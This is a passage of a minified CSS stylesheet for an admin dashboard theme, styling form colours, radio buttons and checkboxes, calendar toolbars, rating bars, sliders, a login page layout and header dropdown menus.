form-txt-inverse:focus{color:#4c5667}.form-txt-inverse::-moz-placeholder{color:#4c5667;opacity:1}.form-txt-inverse:-ms-input-placeholder{color:#4c5667}.form-txt-inverse::-webkit-input-placeholder{color:#4c5667}.form-txt-info{color:#11cdef}.form-txt-info:focus{color:#11cdef}.form-txt-info::-moz-placeholder{color:#11cdef;opacity:1}.form-txt-info:-ms-input-placeholder{color:#11cdef}.form-txt-info::-webkit-input-placeholder{color:#11cdef}.form-bg-primary{background-color:#007bff;border-color:#007bff;color:#fff}.form-bg-primary:focus{background-color:#007bff;border-color:#007bff;color:#fff}.form-bg-primary::-moz-placeholder{color:#fff;opacity:1}.form-bg-primary:-ms-input-placeholder{color:#fff}.form-bg-primary::-webkit-input-placeholder{color:#fff}.form-bg-warning{background-color:#fb6340;border-color:#fb6340;color:#fff}.form-bg-warning:focus{background-color:#fb6340;border-color:#fb6340;color:#fff}.form-bg-warning::-moz-placeholder{color:#fff;opacity:1}.form-bg-warning:-ms-input-placeholder{color:#fff}.form-bg-warning::-webkit-input-placeholder{color:#fff}.form-bg-default{background-color:#d6d6d6;border-color:#d6d6d6;color:#fff}.form-bg-default:focus{background-color:#d6d6d6;border-color:#d6d6d6;color:#fff}.form-bg-default::-moz-placeholder{color:#fff;opacity:1}.form-bg-default:-ms-input-placeholder{color:#fff}.form-bg-default::-webkit-input-placeholder{color:#fff}.form-bg-danger{background-color:#f5365c;border-color:#f5365c;color:#fff}.form-bg-danger:focus{background-color:#f5365c;border-color:#f5365c;color:#fff}.form-bg-danger::-moz-placeholder{color:#fff;opacity:1}.form-bg-danger:-ms-input-placeholder{color:#fff}.form-bg-danger::-webkit-input-placeholder{color:#fff}.form-bg-success{background-color:#2dce89;border-color:#2dce89;color:#fff}.form-bg-success:focus{background-color:#2dce89;border-color:#2dce89;color:#fff}.form-bg-success::-moz-placeholder{color:#fff;opacity:1}.form-bg-success:-ms-input-placeholder{color:#fff}.form-bg-success::-webkit-input-placeholder{color:#fff}.form-bg-inverse{background-color:#4c5667;border-color:#4c5667;color:#fff}.form-bg-inverse:focus{background-color:#4c5667;border-color:#4c5667;color:#fff}.form-bg-inverse::-moz-placeholder{color:#fff;opacity:1}.form-bg-inverse:-ms-input-placeholder{color:#fff}.form-bg-inverse::-webkit-input-placeholder{color:#fff}.form-bg-info{background-color:#11cdef;border-color:#11cdef;color:#fff}.form-bg-info:focus{background-color:#11cdef;border-color:#11cdef;color:#fff}.form-bg-info::-moz-placeholder{color:#fff;opacity:1}.form-bg-info:-ms-input-placeholder{color:#fff}.form-bg-info::-webkit-input-placeholder{color:#fff}.form-radio{position:relative}.form-radio .form-help{position:absolute;width:100%}.form-radio label{position:relative;padding-left:1.5rem;text-align:left;color:#333;display:block;line-height:1.8}.form-radio input{width:auto;opacity:0.00000001;position:absolute;left:0}.radio .helper{position:absolute;top:-0.25rem;left:-0.25rem;cursor:pointer;display:block;font-size:1rem;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;color:#999}.radio .helper::after{transform:scale(0);background-color:#007bff;border-color:#007bff}.radio .helper::after,.radio .helper::before{content:'';position:absolute;left:0;top:3px;margin:0.25rem;width:1rem;height:1rem;-webkit-transition:-webkit-transform 0.28s ease;transition:-webkit-transform 0.28s ease;transition:transform 0.28s ease, -webkit-transform 0.28s ease;border-radius:50%;border:0.125rem solid #007bff}.radio label:hover .helper{color:#007bff}.radio input:checked ~ .helper::after{transform:scale(0.5)}.radio input:checked ~ .helper::before{color:#007bff;animation:ripple 0.3s linear forwards}.radio.radiofill input:checked ~ .helper::after{transform:scale(1)}.radio.radiofill .helper::after{background-color:#007bff}.radio.radio-outline input:checked ~ .helper::after{transform:scale(0.6)}.radio.radio-outline .helper::after{background-color:#fff;border:0.225rem solid #007bff}.radio.radio-matrial input ~ .helper::after{background-color:#fff}.radio.radio-matrial input:checked ~ .helper::after{transform:scale(0.5);box-shadow:0 1px 7px -1px rgba(0,0,0,0.72)}.radio.radio-matrial input:checked ~ .helper::before{background-color:#007bff}.radio.radio-disable{opacity:0.7}.radio.radio-disable label{cursor:not-allowed}.radio-inline{display:inline-block;margin-right:20px}.radio.radio-primary .helper::after{background-color:#007bff;border-color:#007bff}.radio.radio-primary .helper::before{border-color:#007bff}.radio.radio-outline.radio-primary .helper::after{background-color:#fff;border:0.225rem solid #007bff}.radio.radio-outline.radio-primary .helper::before{border-color:#007bff}.radio.radio-matrial.radio-primary input ~ .helper::after{background-color:#fff;border-color:#fff}.radio.radio-matrial.radio-primary input ~ .helper::before{background-color:#007bff;border-color:#007bff}.radio.radio-warning .helper::after{background-color:#fb6340;border-color:#fb6340}.radio.radio-warning .helper::before{border-color:#fb6340}.radio.radio-outline.radio-warning .helper::after{background-color:#fff;border:0.225rem solid #fb6340}.radio.radio-outline.radio-warning .helper::before{border-color:#fb6340}.radio.radio-matrial.radio-warning input ~ .helper::after{background-color:#fff;border-color:#fff}.radio.radio-matrial.radio-warning input ~ .helper::before{background-color:#fb6340;border-color:#fb6340}.radio.radio-default .helper::after{background-color:#d6d6d6;border-color:#d6d6d6}.radio.radio-default .helper::before{border-color:#d6d6d6}.radio.radio-outline.radio-default .helper::after{background-color:#fff;border:0.225rem solid #d6d6d6}.radio.radio-outline.radio-default .helper::before{border-color:#d6d6d6}.radio.radio-matrial.radio-default input ~ .helper::after{background-color:#fff;border-color:#fff}.radio.radio-matrial.radio-default input ~ .helper::before{background-color:#d6d6d6;border-color:#d6d6d6}.radio.radio-danger .helper::after{background-color:#f5365c;border-color:#f5365c}.radio.radio-danger .helper::before{border-color:#f5365c}.radio.radio-outline.radio-danger .helper::after{background-color:#fff;border:0.225rem solid #f5365c}.radio.radio-outline.radio-danger .helper::before{border-color:#f5365c}.radio.radio-matrial.radio-danger input ~ .helper::after{background-color:#fff;border-color:#fff}.radio.radio-matrial.radio-danger input ~ .helper::before{background-color:#f5365c;border-color:#f5365c}.radio.radio-success .helper::after{background-color:#2dce89;border-color:#2dce89}.radio.radio-success .helper::before{border-color:#2dce89}.radio.radio-outline.radio-success .helper::after{background-color:#fff;border:0.225rem solid #2dce89}.radio.radio-outline.radio-success .helper::before{border-color:#2dce89}.radio.radio-matrial.radio-success input ~ .helper::after{background-color:#fff;border-color:#fff}.radio.radio-matrial.radio-success input ~ .helper::before{background-color:#2dce89;border-color:#2dce89}.radio.radio-inverse .helper::after{background-color:#4c5667;border-color:#4c5667}.radio.radio-inverse .helper::before{border-color:#4c5667}.radio.radio-outline.radio-inverse .helper::after{background-color:#fff;border:0.225rem solid #4c5667}.radio.radio-outline.radio-inverse .helper::before{border-color:#4c5667}.radio.radio-matrial.radio-inverse input ~ .helper::after{background-color:#fff;border-color:#fff}.radio.radio-matrial.radio-inverse input ~ .helper::before{background-color:#4c5667;border-color:#4c5667}.radio.radio-info .helper::after{background-color:#11cdef;border-color:#11cdef}.radio.radio-info .helper::before{border-color:#11cdef}.radio.radio-outline.radio-info .helper::after{background-color:#fff;border:0.225rem solid #11cdef}.radio.radio-outline.radio-info .helper::before{border-color:#11cdef}.radio.radio-matrial.radio-info input ~ .helper::after{background-color:#fff;border-color:#fff}.radio.radio-matrial.radio-info input ~ .helper::before{background-color:#11cdef;border-color:#11cdef}@keyframes ripple{0%{box-shadow:0 0 0 1px transparent}50%{box-shadow:0 0 0 10px rgba(0,0,0,0.05)}100%{box-shadow:0 0 0 10px transparent}}.border-checkbox-section .border-checkbox-group{display:inline-block}.border-checkbox-section .border-checkbox-group .border-checkbox:checked+.border-checkbox-label:before{animation:ripple 0.3s linear forwards}.border-checkbox-section .border-checkbox-group .border-checkbox:checked+.border-checkbox-label:after{-webkit-animation:check linear 0.5s;animation:check linear 0.5s;opacity:1;border-color:#007bff}.border-checkbox-section .border-checkbox-group .border-checkbox:checked+.border-checkbox-label:after .border-checkbox-label:before{border-color:#eee}.border-checkbox-section .border-checkbox-group .border-checkbox-label{position:relative;display:inline-block;cursor:pointer;height:20px;line-height:20px;padding-left:30px;margin-right:15px}.border-checkbox-section .border-checkbox-group .border-checkbox-label:after{content:"";display:block;width:6px;height:12px;opacity:0.9;border-right:2px solid #eee;border-top:2px solid #eee;position:absolute;left:4px;top:11px;-webkit-transform:scaleX(-1) rotate(135deg);transform:scaleX(-1) rotate(135deg);-webkit-transform-origin:left top;transform-origin:left top}.border-checkbox-section .border-checkbox-group .border-checkbox-label:before{content:"";display:block;border:2px solid #007bff;width:20px;height:20px;position:absolute;left:0}.border-checkbox-section .border-checkbox{display:none}.border-checkbox-section .border-checkbox:disabled ~ .border-checkbox-label{cursor:no-drop;color:#ccc}@-webkit-keyframes check{0%{height:0;width:0}25%{height:0;width:6px}50%{height:12px;width:6px}}@keyframes check{0%{height:0;width:0}25%{height:0;width:6px}50%{height:12px;width:6px}}.border-checkbox-section .border-checkbox-group-primary .border-checkbox-label:before{border:2px solid #007bff}.border-checkbox-section .border-checkbox-group-primary .border-checkbox:checked+.border-checkbox-label:after{border-color:#007bff}.border-checkbox-section .border-checkbox-group-warning .border-checkbox-label:before{border:2px solid #fb6340}.border-checkbox-section .border-checkbox-group-warning .border-checkbox:checked+.border-checkbox-label:after{border-color:#fb6340}.border-checkbox-section .border-checkbox-group-default .border-checkbox-label:before{border:2px solid #d6d6d6}.border-checkbox-section .border-checkbox-group-default .border-checkbox:checked+.border-checkbox-label:after{border-color:#d6d6d6}.border-checkbox-section .border-checkbox-group-danger .border-checkbox-label:before{border:2px solid #f5365c}.border-checkbox-section .border-checkbox-group-danger .border-checkbox:checked+.border-checkbox-label:after{border-color:#f5365c}.border-checkbox-section .border-checkbox-group-success .border-checkbox-label:before{border:2px solid #2dce89}.border-checkbox-section .border-checkbox-group-success .border-checkbox:checked+.border-checkbox-label:after{border-color:#2dce89}.border-checkbox-section .border-checkbox-group-inverse .border-checkbox-label:before{border:2px solid #4c5667}.border-checkbox-section .border-checkbox-group-inverse .border-checkbox:checked+.border-checkbox-label:after{border-color:#4c5667}.border-checkbox-section .border-checkbox-group-info .border-checkbox-label:before{border:2px solid #11cdef}.border-checkbox-section .border-checkbox-group-info .border-checkbox:checked+.border-checkbox-label:after{border-color:#11cdef}.checkbox-fade,.checkbox-zoom{display:inline-block;margin-right:15px}.checkbox-fade label,.checkbox-zoom label{line-height:20px}.checkbox-fade label input[type="checkbox"],.checkbox-fade label input[type="radio"],.checkbox-zoom label input[type="checkbox"],.checkbox-zoom label input[type="radio"]{display:none}.checkbox-fade label input[type="checkbox"]:checked+.cr>.cr-icon,.checkbox-fade label input[type="radio"]:checked+.cr>.cr-icon,.checkbox-zoom label input[type="checkbox"]:checked+.cr>.cr-icon,.checkbox-zoom label input[type="radio"]:checked+.cr>.cr-icon{transform:scale(1) rotateZ(0deg);opacity:1}.checkbox-fade label input[type="checkbox"]+.cr>.cr-icon,.checkbox-fade label input[type="radio"]+.cr>.cr-icon,.checkbox-zoom label input[type="checkbox"]+.cr>.cr-icon,.checkbox-zoom label input[type="radio"]+.cr>.cr-icon{transform:scale(3) rotateZ(-20deg);opacity:0;transition:all 0.3s ease-in}.checkbox-fade label:after,.checkbox-zoom label:after{content:'';display:table;clear:both}.checkbox-fade.fade-in-disable .cr,.checkbox-fade.fade-in-disable label,.checkbox-zoom.fade-in-disable .cr,.checkbox-zoom.fade-in-disable label{color:#ccc;cursor:no-drop}.checkbox-fade .cr,.checkbox-zoom .cr{border-radius:0;border:2px solid #007bff;cursor:pointer;display:inline-block;float:left;height:20px;margin-right:1rem;position:relative;width:20px}.checkbox-fade .cr .cr-icon,.checkbox-zoom .cr .cr-icon{color:#007bff;font-size:1em;left:0;line-height:0;position:absolute;right:0;text-align:center;top:50%}.checkbox-fade input[type="checkbox"]:checked+.cr,.checkbox-zoom input[type="checkbox"]:checked+.cr{animation:ripple 0.3s linear forwards}.checkbox-fade label{line-height:20px}.checkbox-fade label input[type="checkbox"],.checkbox-fade label input[type="radio"]{display:none}.checkbox-fade label input[type="checkbox"]:checked+.cr>.cr-icon,.checkbox-fade label input[type="radio"]:checked+.cr>.cr-icon{transform:scale(1) rotateZ(0deg);opacity:1}.checkbox-fade label input[type="checkbox"]+.cr>.cr-icon,.checkbox-fade label input[type="radio"]+.cr>.cr-icon{transform:scale(3) rotateZ(-20deg);opacity:0;transition:all 0.3s ease-in}.checkbox-zoom label{line-height:20px}.checkbox-zoom label input[type="checkbox"],.checkbox-zoom label input[type="radio"]{display:none}.checkbox-zoom label input[type="checkbox"]:checked+.cr>.cr-icon,.checkbox-zoom label input[type="radio"]:checked+.cr>.cr-icon{transform:scale3d(1, 1, 1) translate3d(0, 0, 0);opacity:1}.checkbox-zoom label input[type="checkbox"]+.cr>.cr-icon,.checkbox-zoom label input[type="radio"]+.cr>.cr-icon{transform:scale3d(0.2, 0.2, 0.1) translate3d(0, 0, 0);opacity:0;transition:all 0.3s ease-in}.checkbox-fade.fade-in-primary .cr,.checkbox-fade.zoom-primary .cr,.checkbox-zoom.fade-in-primary .cr,.checkbox-zoom.zoom-primary .cr{border:2px solid #007bff}.checkbox-fade.fade-in-primary .cr .cr-icon,.checkbox-fade.zoom-primary .cr .cr-icon,.checkbox-zoom.fade-in-primary .cr .cr-icon,.checkbox-zoom.zoom-primary .cr .cr-icon{color:#007bff}.checkbox-fade.fade-in-warning .cr,.checkbox-fade.zoom-warning .cr,.checkbox-zoom.fade-in-warning .cr,.checkbox-zoom.zoom-warning .cr{border:2px solid #fb6340}.checkbox-fade.fade-in-warning .cr .cr-icon,.checkbox-fade.zoom-warning .cr .cr-icon,.checkbox-zoom.fade-in-warning .cr .cr-icon,.checkbox-zoom.zoom-warning .cr .cr-icon{color:#fb6340}.checkbox-fade.fade-in-default .cr,.checkbox-fade.zoom-default .cr,.checkbox-zoom.fade-in-default .cr,.checkbox-zoom.zoom-default .cr{border:2px solid #d6d6d6}.checkbox-fade.fade-in-default .cr .cr-icon,.checkbox-fade.zoom-default .cr .cr-icon,.checkbox-zoom.fade-in-default .cr .cr-icon,.checkbox-zoom.zoom-default .cr .cr-icon{color:#d6d6d6}.checkbox-fade.fade-in-danger .cr,.checkbox-fade.zoom-danger .cr,.checkbox-zoom.fade-in-danger .cr,.checkbox-zoom.zoom-danger .cr{border:2px solid #f5365c}.checkbox-fade.fade-in-danger .cr .cr-icon,.checkbox-fade.zoom-danger .cr .cr-icon,.checkbox-zoom.fade-in-danger .cr .cr-icon,.checkbox-zoom.zoom-danger .cr .cr-icon{color:#f5365c}.checkbox-fade.fade-in-success .cr,.checkbox-fade.zoom-success .cr,.checkbox-zoom.fade-in-success .cr,.checkbox-zoom.zoom-success .cr{border:2px solid #2dce89}.checkbox-fade.fade-in-success .cr .cr-icon,.checkbox-fade.zoom-success .cr .cr-icon,.checkbox-zoom.fade-in-success .cr .cr-icon,.checkbox-zoom.zoom-success .cr .cr-icon{color:#2dce89}.checkbox-fade.fade-in-inverse .cr,.checkbox-fade.zoom-inverse .cr,.checkbox-zoom.fade-in-inverse .cr,.checkbox-zoom.zoom-inverse .cr{border:2px solid #4c5667}.checkbox-fade.fade-in-inverse .cr .cr-icon,.checkbox-fade.zoom-inverse .cr .cr-icon,.checkbox-zoom.fade-in-inverse .cr .cr-icon,.checkbox-zoom.zoom-inverse .cr .cr-icon{color:#4c5667}.checkbox-fade.fade-in-info .cr,.checkbox-fade.zoom-info .cr,.checkbox-zoom.fade-in-info .cr,.checkbox-zoom.zoom-info .cr{border:2px solid #11cdef}.checkbox-fade.fade-in-info .cr .cr-icon,.checkbox-fade.zoom-info .cr .cr-icon,.checkbox-zoom.fade-in-info .cr .cr-icon,.checkbox-zoom.zoom-info .cr .cr-icon{color:#11cdef}.checkbox-color{display:inline-block;margin-right:20px;cursor:pointer}.checkbox-color label{display:inline-block;position:relative;padding-left:10px;line-height:20px}.checkbox-color label::before{content:"";display:inline-block;position:absolute;top:0;width:20px;height:20px;left:0;right:0;text-align:center;margin-left:-20px;border:1px solid #ccc;border-radius:0;background-color:#fff;transition:border 0.15s ease-in-out, color 0.15s ease-in-out}.checkbox-color label::after{display:inline-block;position:absolute;width:16px;height:16px;left:-1px;top:0;margin-left:-17px;padding-left:3px;padding-top:1px;font-size:11px;color:#fff}.checkbox-color input[type="checkbox"]{opacity:0}.checkbox-color input[type="checkbox"]:focus+label::before{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.checkbox-color input[type="checkbox"]:checked+label::after{font-family:'FontAwesome';content:"\f00c"}.checkbox-color input[type="checkbox"]:checked+label::before{animation:ripple 0.3s linear forwards}.checkbox-color input[type="checkbox"]:disabled+label{opacity:0.65}.checkbox-color input[type="checkbox"]:disabled+label::before{background-color:#eee;cursor:not-allowed}.checkbox-color.checkbox-circle label::before{border-radius:50%}.checkbox-color.checkbox-inline{margin-top:0}.checkbox-danger input[type="checkbox"]:checked+label::after,.checkbox-info input[type="checkbox"]:checked+label::after,.checkbox-primary input[type="checkbox"]:checked+label::after,.checkbox-success input[type="checkbox"]:checked+label::after,.checkbox-warning input[type="checkbox"]:checked+label::after{color:#fff}.checkbox-primary input[type="checkbox"]:checked+label::before{background-color:#2196f3;border-color:#2196f3}.checkbox-primary input[type="checkbox"]:checked+label::before{background-color:#007bff}.checkbox-warning input[type="checkbox"]:checked+label::before{background-color:#fb6340}.checkbox-default input[type="checkbox"]:checked+label::before{background-color:#d6d6d6}.checkbox-danger input[type="checkbox"]:checked+label::before{background-color:#f5365c}.checkbox-success input[type="checkbox"]:checked+label::before{background-color:#2dce89}.checkbox-inverse input[type="checkbox"]:checked+label::before{background-color:#4c5667}.checkbox-info input[type="checkbox"]:checked+label::before{background-color:#11cdef}.slider-nav .left-arrow,.slider-nav .right-arrow{font-size:20px;color:#145388;display:inline-block;vertical-align:middle;margin:0 15px}.slider-nav .slider-dot-container{display:inline-block}.slider-nav .slider-dot-container .owl-dot{width:6px;height:6px;border-radius:10px;color:#00a7e2;background:#7cb9ec;outline:initial !important;border:initial;margin:0 5px;padding:0}.slider-nav .slider-dot-container .owl-dot.active{background:#145388}.fc .fc-toolbar .fc-button{background:#4a5361;color:#fff;padding:5px 10px;height:auto;border:none;text-transform:capitalize;text-shadow:none;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.fc .fc-toolbar .fc-button .fc-icon{margin:0;top:0}.fc .fc-toolbar .fc-button .fc-icon:after,.fc .fc-toolbar .fc-button .fc-icon::after{font-family:"iconkit";font-size:16px}.fc .fc-toolbar .fc-button .fc-icon.fc-icon-left-single-arrow:after,.fc .fc-toolbar .fc-button .fc-icon.fc-icon-left-single-arrow::after{content:"\e843"}.fc .fc-toolbar .fc-button .fc-icon.fc-icon-right-single-arrow:after,.fc .fc-toolbar .fc-button .fc-icon.fc-icon-right-single-arrow::after{content:"\e844"}.fc .fc-toolbar .fc-button.fc-state-active,.fc .fc-toolbar .fc-button.fc-state-down{background:#272d36 !important}.fc .fc-toolbar h2{font-size:22px;font-weight:600}.fc .fc-view-container .fc-view table thead tr td.fc-widget-header,.fc .fc-view-container .fc-view table thead tr th.fc-widget-header{color:#4a5361;background:#f3f4f4;border-color:#f3f4f4;padding:10px 0px}.fc .fc-view-container .fc-view .fc-day-number{float:left;padding:10px 0 5px 10px}.fc .fc-view-container .fc-view .fc-other-month{background:#f3f9ff}.fc .fc-view-container .fc-view .fc-event-container .fc-event{display:block;padding:3px 5px;color:#fff;font-weight:600;font-size:12px;border:none}.fc-unthemed .fc-content,.fc-unthemed .fc-divider,.fc-unthemed .fc-list-heading,.fc-unthemed .fc-list-view,.fc-unthemed .fc-popover,.fc-unthemed .fc-row,.fc-unthemed tbody,.fc-unthemed td,.fc-unthemed thead{border-color:#f3f4f4}.color-selector{padding:0;margin:0;list-style:none}.color-selector li{position:relative;display:inline-block;width:25px;height:25px;margin:0 8px 8px 0;background-color:#3e8ef7;border-radius:50%;-webkit-border-radius:50%;-moz-border-radius:50%}.color-selector li input[type=radio]{position:absolute;top:0;left:0;z-index:1;width:inherit;height:inherit;cursor:pointer;border-radius:inherit;opacity:0}.color-selector li input[type=radio]:checked+label:after,.color-selector li input[type=radio]:checked+label::after{position:absolute;top:0px;left:5px;display:inline-block;margin-top:-3px;font-size:16px;line-height:1;content:"\e83f";color:#fff}.color-selector li label{position:relative;margin-bottom:.4rem;font-family:"iconkit";font-style:normal;font-weight:400;font-variant:normal;text-transform:none}.color-selector li:last-child{margin-right:0}.alert{border:none}.alert .close{font-size:18px;padding:12px 15px}.jq-icon-info{background-color:#11cdef;color:#fff;border:none}.jq-icon-warning{background-color:#fb6340;color:#fff}.jq-icon-error{background-color:#f5365c;color:#fff}.jq-icon-success{color:#fff;background-color:#2dce89}.jq-toast-single,.jq-toast-single h2{font-family:'Nunito Sans', sans-serif}.br-wrapper{margin:20px 0 50px}.br-theme-bars-1to10 .br-widget .br-current-rating{clear:both;padding:0;font-size:13px;color:#757575;font-weight:400}.br-theme-bars-reversed .br-widget .br-current-rating{clear:both;padding:0;line-height:2;font-size:13px}.br-theme-bars-movie .br-widget .br-current-rating{color:#757575;font-weight:400;text-align:left}.br-theme-bars-horizontal .br-widget .br-current-rating,.br-theme-bars-reversed .br-widget .br-current-rating{color:#757575;font-weight:400;font-size:13px}span.value{display:inline}.current-rating{position:relative;top:-50px}.current-rating.hidden{display:none}.your-rating{position:relative;top:-50px}.your-rating.hidden{display:none}.br-theme-bars-1to10 .br-widget a,.br-theme-bars-movie .br-widget a,.br-theme-bars-reversed .br-widget a,.br-theme-bars-horizontal .br-widget a{background-color:#66b0ff}.br-theme-bars-1to10 .br-widget a.br-active,.br-theme-bars-1to10 .br-widget a.br-selected,.br-theme-bars-movie .br-widget a.br-active,.br-theme-bars-movie .br-widget a.br-selected,.br-theme-bars-reversed .br-widget a.br-active,.br-theme-bars-reversed .br-widget a.br-selected,.br-theme-bars-horizontal .br-widget a.br-active,.br-theme-bars-horizontal .br-widget a.br-selected{background-color:#007bff}.br-theme-bars-pill .br-widget a{background-color:#66b0ff;color:#007bff}.br-theme-bars-pill .br-widget a.br-active,.br-theme-bars-pill .br-widget a.br-selected{background-color:#007bff}.br-theme-fontawesome-stars .br-widget a.br-active:after,.br-theme-fontawesome-stars .br-widget a.br-selected:after{color:#007bff}.br-theme-css-stars .br-widget a.br-active:after,.br-theme-css-stars .br-widget a.br-selected:after{color:#007bff}.br-theme-bars-square .br-widget a{border:2px solid #66b0ff;color:#2990ff}.br-theme-bars-square .br-widget a.br-active,.br-theme-bars-square .br-widget a.br-selected{border:2px solid #007bff;color:#007bff}.br-theme-fontawesome-stars-o .br-widget a.br-selected:after,.br-theme-fontawesome-stars-o .br-widget a:after,.br-theme-fontawesome-stars-o .br-widget a.br-active:after,.br-theme-fontawesome-stars-o .br-widget a.br-fractional:after{color:#007bff}.range-slider{min-height:200px;display:flex;align-items:center;margin-left:15px}.range-slider b{margin-top:-10px}#RGB{height:10px;background:gray}#RC .slider-selection{background:#FF8282}#RC .slider-handle{background:red}#GC .slider-selection{background:#428041}#GC .slider-handle{background:green}#BC .slider-selection{background:#8283FF}#BC .slider-handle{border-bottom-color:blue}#R,#G,#B{width:300px}.range-slider-contain{position:absolute;bottom:15px}.slider-handle{top:-5px;background-image:linear-gradient(to bottom, #007bff 0%, #007bff 100%);box-shadow:none}.slider-tick,.slider-track{background-image:linear-gradient(to bottom, #BDC3C7 0%, #BDC3C7 100%)}.slider-handle.custom::before{line-height:15px;font-size:35px;color:#007bff}#slider12a .slider-track-high,#slider12c .slider-track-high{background:green}#slider12b .slider-track-low,#slider12c .slider-track-low{background:red}#slider12c .slider-selection{background:yellow}.slider-selection.tick-slider-selection{background-image:linear-gradient(to bottom, #3395ff 0%, #3395ff 100%)}.slider-tick.in-selection{background-image:linear-gradient(to bottom, #3395ff 0%, #3395ff 100%)}.slider.slider-horizontal .slider-track{height:2px}.slider.slider-horizontal .slider-tick,.slider.slider-horizontal .slider-handle{top:-5px;cursor:pointer}.slider.slider-horizontal .slider-track{width:90%;margin-top:-5px;top:50%;left:10px}.auth-wrapper .lavalite-bg{height:100vh;position:relative;width:100%;-webkit-background-size:cover;background-size:cover;background-repeat:no-repeat}.auth-wrapper .lavalite-bg .lavalite-overlay{position:absolute;width:100%;height:100%;top:0;left:0;background:linear-gradient(135deg, rgba(46,52,81,0.4) 0%, rgba(52,40,104,0.95) 100%)}.auth-wrapper .authentication-form{font-size:.9rem;width:70%;display:block;padding:100px 0}.auth-wrapper .authentication-form .logo-centered{width:60px;margin:0 auto;margin-bottom:40px}.auth-wrapper .authentication-form h3{font-size:20px;color:#272d36;margin-bottom:20px}.auth-wrapper .authentication-form .form-group{position:relative}.auth-wrapper .authentication-form .form-group .form-control{padding-left:40px}.auth-wrapper .authentication-form .form-group .form-control ~ i{position:absolute;top:10px;left:15px}.auth-wrapper .authentication-form .sign-btn{margin-top:30px}.auth-wrapper .authentication-form .register{margin-top:30px;text-align:center}body{color:#212121;font-size:.8rem;line-height:1.5;font-weight:400;font-family:"Nunito Sans",sans-serif}.dropdown-toggle:after,.dropdown-toggle::after{display:none}.tooltip{font-family:"Nunito Sans",sans-serif;font-size:12px;font-weight:700}.truncate{text-overflow:ellipsis;white-space:nowrap;overflow:hidden}.progress-sm{height:.5rem}.progress-sm .progress-bar{height:.5rem}.img-thumbnail,.list-thumbnail{border-radius:.1rem;padding:0;border:initial}.list-thumbnail{height:auto;max-width:unset;height:85px;object-fit:cover;width:unset !important}@media only screen and (max-width: 1023px){.list-thumbnail.responsive{width:unset;height:135px}}.list-thumbnail.small{height:60px;font-size:1rem}.list-thumbnail-letters{width:85px;height:85px;background:#090e40;align-items:center;display:flex;justify-content:center;font-size:1.25rem;color:#fff}.list-thumbnail-letters.small{width:60px;height:60px;font-size:1rem}.list-item-heading{font-size:1rem}.flex-grow-1{-webkit-flex-grow:1;-moz-flex-grow:1;-ms-flex-grow:1;flex-grow:1}.dropdown-menu{padding:5px;font-size:12px;background-color:#fff;border-color:transparent;margin:0;width:170px;border-radius:6px;-webkit-border-radius:6px;-moz-border-radius:6px;-webkit-box-shadow:0 2px 30px rgba(0,0,0,0.08);-moz-box-shadow:0 2px 30px rgba(0,0,0,0.08);box-shadow:0 2px 30px rgba(0,0,0,0.08)}.dropdown-menu .dropdown-item{background-color:#fff;padding:8px 15px;line-height:14px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px}.dropdown-menu .dropdown-item .dropdown-icon{display:inline-block;vertical-align:middle;font-size:16px;margin-right:5px;vertical-align:-2px;color:#9aa0ac}.dropdown-menu .dropdown-item:hover,.dropdown-menu .dropdown-item:focus{background-color:#dee2e6 !important;color:#212121}.dropdown-menu .dropdown-item .badge{width:15px;height:15px;border-radius:50%;text-align:center;padding:0;line-height:15px}.dropdown-menu:after,.dropdown-menu::after{bottom:100%;left:10px;border:solid transparent;content:' ';height:0;width:0;position:absolute;pointer-events:none;border-color:rgba(136,183,213,0);border-bottom-color:#fff;border-width:5px}.dropdown-menu.dropdown-menu-right::after{right:10px;left:auto}.wrapper .header-top{background-color:#fff;z-index:1030;position:relative;padding:15px 0;position:fixed;top:0;width:100%;left:0;padding-left:240px;-webkit-box-shadow:0 1px 15px rgba(0,0,0,0.04),0 1px 6px rgba(0,0,0,0.04);-moz-box-shadow:0 1px 15px rgba(0,0,0,0.04),0 1px 6px rgba(0,0,0,0.04);box-shadow:0 1px 15px rgba(0,0,0,0.04),0 1px 6px rgba(0,0,0,0.04)}.wrapper .header-top .top-menu .dropdown{margin-left:10px}.wrapper .header-top .top-menu .dropdown .dropdown-menu{margin-top:10px}.wrapper .header-top .top-menu .dropdown .dropdown-menu.menu-grid{width:182px}.wrapper .header-top .top-menu .dropdown .dropdown-menu.menu-grid .dropdown-item{display:inline-block;width:40px;height:40px;text-align:center;padding:0;line-height:40px;font-size:18px;color:#5A5A5A}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown{min-width:300px;padding:0}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .header{margin:0;padding:15px;font-size:16px;border-bottom:1px solid #f1f1f1}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media{border-bottom:1px solid #eef1f2;padding:10px}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media:nth-child(odd){background:#f8f9fa}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .d-flex{-webkit-box-align:start;-ms-flex-align:start;align-items:flex-start;margin-right:15px}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .d-flex i{color:#fff;text-align:center;font-size:15px;line-height:30px;top:0;height:30px;width:30px;background:#404E67;border-radius:50%;-webkit-border-radius:50%;-moz-border-radius:50%}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .d-flex img{height:30px}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .media-body{font-size:12px}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .media-body .media-heading{color:#444;font-weight:600;letter-spacing:0}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .media-body .media-content{color:#868e96}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .footer{text-align:center;padding:10px 15px}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .footer a{color:#212121;font-size:16px}.wrapper .header-top .top-menu .nav-link{width:30px;height:30px;padding:0;text-align:center;line-height:36px;color:#212121;border:none;position:relative;border-radius:50%;-webkit-border-radius:50%;-moz-border-radius:50%;-moz-transition:all 0.5s ease-in-out;-o-transition:all 